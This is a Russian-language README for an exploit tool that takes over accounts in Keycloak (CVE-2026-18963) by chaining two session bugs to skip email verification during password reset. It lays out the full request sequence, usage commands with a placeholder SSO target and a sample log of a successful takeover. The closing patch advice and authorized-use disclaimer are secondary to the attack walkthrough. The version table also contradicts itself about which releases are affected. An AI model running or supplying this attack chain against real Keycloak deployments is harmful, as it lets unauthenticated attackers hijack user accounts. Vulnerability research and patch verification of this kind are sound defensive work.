
Эксплойт для CVE-2026-18963 — критическая неаутентифицированная кража учётной записи в процессе сброса учётных данных Keycloak, объединяющая две ошибки для обхода проверки электронной почты и установки нового пароля.
CVSS 9.1 Критический · Keycloak 26.0.0 – 26.7.1 · Без аутентификации
Критическая уязвимость в процессе сброса учётных данных Keycloak, которая позволяет неавторизованному атакующему захватить любую учётную запись пользователя без проверки электронной почты, путём объединения двух ошибок в обработке сеанса аутентификации.
| Поле | Значение |
|---|
| CVE | CVE-2026-18963 |
| Оценка CVSS | 9.1 (Критический) |
| Вектор CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Слабый механизм восстановления пароля |
| Затронуто | Keycloak 26.0.0 – 26.7.1 |
| Исправлено | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Компонент | keycloak-services (процесс сброса учётных данных) |
| Ссылка | https://github.com/keycloak/keycloak/issues/51833 |
Объединяются две ошибки:
Ошибка 1 — обработчик tryAnotherWay сохраняет заметку
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" в сеансе аутентификации без привязки к какому-либо идентификатору выполнения.
Ошибка 2 — ResetCredentialEmail.action() вызывает context.success() (полностью пропуская проверку электронной почты) всякий раз, когда присутствует эта заметка, без проверки ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Установить OIDC-сеанс, извлечь ссылку «забыли пароль»
2. GET /login-actions/reset-credentials?...
→ Загрузить форму сброса учётных данных
3. POST tryAnotherWay=on
→ Устанавливает заметку AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED (Ошибка 1)
4. POST username={цель} → форма выбора
→ Привязывает целевого пользователя к сеансу аутентификации, запускает шаг электронной почты
5. GET /login-actions/restart?...
→ Необязательно: зеркалирование опроса сеанса браузера
6. GET /login-actions/reset-credentials?... (тот же URL, что и на шаге 2)
→ Устаревшая заметка выбора всё ещё присутствует → снова появляется выбор учётных данных
7. POST username={цель} → устаревший выбор
→ ResetCredentialEmail видит заметку, вызывает context.success() (Ошибка 2)
→ Процесс переходит напрямую к UPDATE_PASSWORD — письмо не отправляется
8. POST password-new={пароль_атакующего}
→ Учётная запись захвачена
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Базовый URL Keycloak (обязательно)
--realm Целевой realm (по умолчанию: master)
--username Имя пользователя или email захватываемой учётной записи (обязательно)
--new-password Пароль, устанавливаемый на целевой учётной записи (обязательно)
--client-id OIDC client ID (по умолчанию: account)
--auth-prefix auto | new | old
auto = определить автоматически (по умолчанию)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Вывести полный HTTP-трассировку
--skip-version-check
# Автоопределение старого/нового префикса URL Keycloak
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Принудительное использование устаревшего префикса /auth/ (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Подробная HTTP-трассировка
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak Unauthenticated Account Takeover
User : [email protected]
[Step 0] Detecting version & path prefix
[+] Path prefix: '/auth' → detected
[?] Version not detected — proceeding anyway.
Target : https://sso.example.com/auth/realms/myrealm
[Step 1] Open reset-credentials form via OIDC forgot-password link
[+] OIDC session established
[+] Reset-credentials form loaded
[Step 2] POST tryAnotherWay=on → set selector note (Bug 1)
[+] Credential selector form received
[Step 3] POST username='[email protected]' → bind user, trigger email step
[+] Email step triggered — session polling URL found
[Step 4] GET session polling path (optional)
[Step 5] Re-visit forgot-password URL → get stale selector
[+] Stale credential selector form received
[Step 6] POST username to stale selector → trigger bypass (Bug 2)
[+] BYPASS SUCCESSFUL — update-password form received
[Step 7] Set new password
============================================================
[+] SUCCESS — Account Takeover Complete
[+] Target : https://sso.example.com/auth/realms/myrealm
[+] User : [email protected]
[+] Password : Pwn3d2026!
============================================================
| Версия Keycloak | Префикс URL | Уязвима |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ если в диапазоне 26.x |
| ≥ 17.x | /realms/ | ✅ если < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | любой | ❌ Исправлено |
Скрипт автоматически определяет, использует ли цель устаревший префикс /auth/ или современный путь, поэтому он работает как со старыми, так и с новыми развёртываниями без ручной настройки.
Патч (рекомендуется): Обновитесь до одной из исправленных версий:
26.4.15 или новее в линейке 26.4.x26.6.6 или новее в линейке 26.6.x26.7.2 или новее в линейке 26.7.x26.8.0 или новееВременное решение: Отключите Забыли пароль во всех realm:
Realm Settings → Login → Forgot Password → OFF
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых имеете явное письменное разрешение.